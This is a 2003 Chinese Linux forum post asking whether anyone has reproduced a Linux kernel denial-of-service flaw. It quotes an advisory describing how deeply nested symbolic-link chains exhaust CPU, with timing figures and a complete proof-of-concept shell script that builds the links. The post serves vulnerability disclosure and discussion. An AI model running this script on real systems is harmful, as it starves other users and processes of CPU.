LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
查看: 1263|回复: 0

拒绝服务?

[复制链接]
发表于 2003-6-26 18:48:30 | 显示全部楼层 |阅读模式
看到这么一篇文章,请问有没人实现过????

发现 LINUX 内核存在拒绝服务漏洞,本地攻击者建立多个深层次链接,当系统被要求处理这种链接时,将会消耗大量 CPU 资源,从而不能处理其它进程。

下面的 mklink.sh 测试脚本带参数N,会创建5个链接,每个含有 2*N+1 个路径元素,当 N=3 时:

$ ls -lG
drwxr-xr-x 2 nergal 4096 wrz 21 14:46 l
lrwxrwxrwx 1 nergal 53 wrz 21 14:46 l0 ->
l1/../l1/../l1/../l/../../../../../../../etc/services
lrwxrwxrwx 1 nergal 19 wrz 21 14:46 l1 -> l2/../l2/../l2/../l
lrwxrwxrwx 1 nergal 19 wrz 21 14:46 l2 -> l3/../l3/../l3/../l
lrwxrwxrwx 1 nergal 19 wrz 21 14:46 l3 -> l4/../l4/../l4/../l
lrwxrwxrwx 1 nergal 19 wrz 21 14:46 l4 -> l5/../l5/../l5/../l
drwxr-xr-x 2 nergal 4096 wrz 21 14:46 l5
drwxr-xr-x 2 rybagowa 4096 lut 27 1999 still_here

命令 head l0 将消耗:

N system time
10: sys 0m0.050s
20: sys 0m1.400s
30: sys 0m10.150s
40: sys 0m41.840s


以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负


#!/bin/sh
# by Nergal
mklink()
{
IND=$1
NXT=$(($IND+1))
EL=l$NXT/../
P=""
I=0
while [ $I -lt $ELNUM ] ; do
P=$P"$EL"
I=$(($I+1))
done
ln -s "$P"l$2 l$IND
}

#main program

if [ $# != 1 ] ; then
echo A numerical argument is required.
exit 0
fi


ELNUM=$1

mklink 4
mklink 3
mklink 2
mklink 1
mklink 0 /../../../../../../../etc/services
mkdir l5
mkdir l
您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表